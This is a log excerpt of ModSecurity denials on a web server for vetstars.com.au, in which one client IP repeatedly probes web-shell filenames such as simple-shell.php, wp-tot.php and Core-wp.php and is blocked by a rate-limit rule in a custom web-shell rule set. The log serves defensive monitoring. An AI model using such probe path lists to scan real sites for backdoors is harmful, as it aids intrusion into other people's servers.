[Mon Apr 13 03:11:27.314361 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:37725] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packages.php"] [unique_id "advuX29Py-Y-9VQ02eHebQAAABM"]
[Mon Apr 13 03:11:27.912592 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:37640] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packages.php"] [unique_id "advuX2yJMmaONUqF0tCrBgAAAQE"]
[Mon Apr 13 03:11:28.446475 2026] [:error] [pid 31607:tid 31747] [client 20.151.218.28:37678] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "advuYGjn_I-KYTWngjJN3gAAAIo"]
[Mon Apr 13 03:11:29.011007 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37791] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "advuYWyJMmaONUqF0tCrCAAAAQI"]
[Mon Apr 13 03:11:29.605780 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:37800] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "advuYWyJMmaONUqF0tCrCgAAAQ4"]
[Mon Apr 13 03:11:30.201512 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:37702] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "advuYmyJMmaONUqF0tCrDQAAARI"]
[Mon Apr 13 03:11:31.118072 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:37773] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbv.php"] [unique_id "advuY29Py-Y-9VQ02eHegQAAAAk"]
[Mon Apr 13 03:11:31.893165 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:37875] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbv.php"] [unique_id "advuY29Py-Y-9VQ02eHehQAAAAg"]
[Mon Apr 13 03:11:32.610051 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37701] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbv.php"] [unique_id "advuZA0nq-t9pXyV1fy-PgAAANQ"]
[Mon Apr 13 03:11:33.405032 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:37844] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbv.php"] [unique_id "advuZWjn_I-KYTWngjJN4gAAAII"]
[Mon Apr 13 03:11:34.207276 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:37647] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "advuZmyJMmaONUqF0tCrFQAAARA"]
[Mon Apr 13 03:11:35.954012 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:37717] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "advuZ29Py-Y-9VQ02eHelgAAAAk"]
[Mon Apr 13 03:11:38.358457 2026] [:error] [pid 32010:tid 32029] [client 20.151.218.28:37818] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "advuag0nq-t9pXyV1fy-RgAAANE"]
[Mon Apr 13 03:11:39.422525 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:37770] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "advuaw0nq-t9pXyV1fy-TQAAANI"]
[Mon Apr 13 03:11:40.330395 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:37814] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moderation.php"] [unique_id "advubGyJMmaONUqF0tCrLAAAAQk"]
[Mon Apr 13 03:11:41.037823 2026] [:error] [pid 31607:tid 31745] [client 20.151.218.28:37821] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moderation.php"] [unique_id "advubWjn_I-KYTWngjJN5AAAAIg"]
[Mon Apr 13 03:11:42.054195 2026] [:error] [pid 31607:tid 31756] [client 20.151.218.28:37659] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moderation.php"] [unique_id "advubmjn_I-KYTWngjJN5wAAAJM"]
[Mon Apr 13 03:11:44.925435 2026] [:error] [pid 31607:tid 31749] [client 20.151.218.28:37662] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moderation.php"] [unique_id "advucGjn_I-KYTWngjJN6gAAAIw"]
[Mon Apr 13 03:11:46.356481 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:37782] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple-shell.php"] [unique_id "advucg0nq-t9pXyV1fy-VwAAAMQ"]
[Mon Apr 13 03:11:48.062373 2026] [:error] [pid 31607:tid 31751] [client 20.151.218.28:37843] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple-shell.php"] [unique_id "advudGjn_I-KYTWngjJN7wAAAI4"]
[Mon Apr 13 03:11:51.321987 2026] [:error] [pid 31606:tid 31727] [client 20.151.218.28:37748] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple-shell.php"] [unique_id "advudz9vCsshNhLmCiCOMAAAAFU"]
[Mon Apr 13 03:11:52.124689 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:37757] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple-shell.php"] [unique_id "advueD9vCsshNhLmCiCOMwAAAEs"]
[Mon Apr 13 03:11:52.763113 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:37819] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "advueGjn_I-KYTWngjJN-wAAAIs"]
[Mon Apr 13 03:11:53.411084 2026] [:error] [pid 31606:tid 31729] [client 20.151.218.28:37804] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "advueT9vCsshNhLmCiCOOgAAAFc"]
[Mon Apr 13 03:11:54.190693 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:37723] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "advuemyJMmaONUqF0tCrUAAAAQ0"]
[Mon Apr 13 03:11:55.144891 2026] [:error] [pid 31606:tid 31706] [client 20.151.218.28:37836] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "advuez9vCsshNhLmCiCOPQAAAEA"]
[Mon Apr 13 03:11:56.128173 2026] [:error] [pid 31606:tid 31727] [client 20.151.218.28:37749] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2Vu80QG.php"] [unique_id "advufD9vCsshNhLmCiCOPwAAAFU"]
[Mon Apr 13 03:11:57.376491 2026] [:error] [pid 31607:tid 31740] [client 20.151.218.28:37750] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2Vu80QG.php"] [unique_id "advufWjn_I-KYTWngjJOAgAAAIM"]
[Mon Apr 13 03:11:59.042880 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:37658] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2Vu80QG.php"] [unique_id "advuf2yJMmaONUqF0tCrZQAAARM"]
[Mon Apr 13 03:12:01.613550 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:37719] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2Vu80QG.php"] [unique_id "advugWyJMmaONUqF0tCrcgAAAQE"]
[Mon Apr 13 03:12:04.154954 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:37810] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsr.php"] [unique_id "advuhA0nq-t9pXyV1fy-bQAAAMg"]
[Mon Apr 13 03:12:06.156009 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:37655] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsr.php"] [unique_id "advuhm9Py-Y-9VQ02eHeywAAAAk"]
[Mon Apr 13 03:12:07.286306 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:37754] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsr.php"] [unique_id "advuh2yJMmaONUqF0tCrjQAAAQ0"]
[Mon Apr 13 03:12:08.273525 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:37742] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsr.php"] [unique_id "advuiGyJMmaONUqF0tCrkgAAARU"]
[Mon Apr 13 03:12:09.278300 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:37802] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ans.php"] [unique_id "advuiQ0nq-t9pXyV1fy-dQAAANY"]
[Mon Apr 13 03:12:09.855084 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:37741] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ans.php"] [unique_id "advuiWyJMmaONUqF0tCrlwAAAQQ"]
[Mon Apr 13 03:12:10.478629 2026] [:error] [pid 31606:tid 31707] [client 20.151.218.28:37755] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ans.php"] [unique_id "advuij9vCsshNhLmCiCOTwAAAEE"]
[Mon Apr 13 03:12:11.175460 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:37740] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ans.php"] [unique_id "advuiz9vCsshNhLmCiCOUAAAAEs"]
[Mon Apr 13 03:12:11.678664 2026] [:error] [pid 31607:tid 31742] [client 20.151.218.28:37761] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tot.php"] [unique_id "advui2jn_I-KYTWngjJOEQAAAIU"]
[Mon Apr 13 03:12:12.254699 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37799] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tot.php"] [unique_id "advujA0nq-t9pXyV1fy-gAAAANA"]
[Mon Apr 13 03:12:12.885737 2026] [:error] [pid 31606:tid 31711] [client 20.151.218.28:37686] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tot.php"] [unique_id "advujD9vCsshNhLmCiCOUwAAAEU"]
[Mon Apr 13 03:12:13.454200 2026] [:error] [pid 32010:tid 32029] [client 20.151.218.28:37762] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tot.php"] [unique_id "advujQ0nq-t9pXyV1fy-gwAAANE"]
[Mon Apr 13 03:12:13.996111 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:37692] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-wp.php"] [unique_id "advujQ0nq-t9pXyV1fy-hAAAAMk"]
[Mon Apr 13 03:12:14.462385 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:37805] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-wp.php"] [unique_id "advujg0nq-t9pXyV1fy-hgAAAMA"]
[Mon Apr 13 03:12:14.969527 2026] [:error] [pid 31607:tid 31746] [client 20.151.218.28:37656] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-wp.php"] [unique_id "advujmjn_I-KYTWngjJOGgAAAIk"]
[Mon Apr 13 03:12:15.533463 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:37743] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-wp.php"] [unique_id "advujw0nq-t9pXyV1fy-igAAAMc"]
[Mon Apr 13 03:12:23.764080 2026] [:error] [pid 31607:tid 31751] [client 20.151.218.28:37872] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo/v2.php"] [unique_id "advul2jn_I-KYTWngjJOLQAAAI4"]
[Mon Apr 13 03:12:24.811970 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:37875] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo/v2.php"] [unique_id "advumA0nq-t9pXyV1fy-nwAAAMs"]
[Mon Apr 13 03:12:25.792318 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:37866] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo/v2.php"] [unique_id "advumW9Py-Y-9VQ02eHe-QAAAA4"]
[Mon Apr 13 03:12:26.918429 2026] [:error] [pid 31606:tid 31714] [client 20.151.218.28:37824] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo/v2.php"] [unique_id "advumj9vCsshNhLmCiCObAAAAEg"]
[Mon Apr 13 03:12:27.123266 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37816] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nxd.php"] [unique_id "advumw0nq-t9pXyV1fy-oQAAANA"]
[Mon Apr 13 03:12:27.784579 2026] [:error] [pid 32010:tid 32036] [client 20.151.218.28:37879] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nxd.php"] [unique_id "advumw0nq-t9pXyV1fy-pAAAANg"]
[Mon Apr 13 03:12:28.442755 2026] [:error] [pid 32010:tid 32017] [client 20.151.218.28:37677] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nxd.php"] [unique_id "advunA0nq-t9pXyV1fy-pgAAAMU"]
[Mon Apr 13 03:12:29.321843 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:37785] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nxd.php"] [unique_id "advunWyJMmaONUqF0tCrtwAAARc"]
[Mon Apr 13 03:12:29.900843 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:37815] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/payout.php"] [unique_id "advunQ0nq-t9pXyV1fy-rAAAANM"]
[Mon Apr 13 03:12:30.550457 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:37815] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/payout.php"] [unique_id "advung0nq-t9pXyV1fy-sAAAAMI"]
[Mon Apr 13 03:12:31.181007 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:37846] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/payout.php"] [unique_id "advunw0nq-t9pXyV1fy-tAAAAMk"]
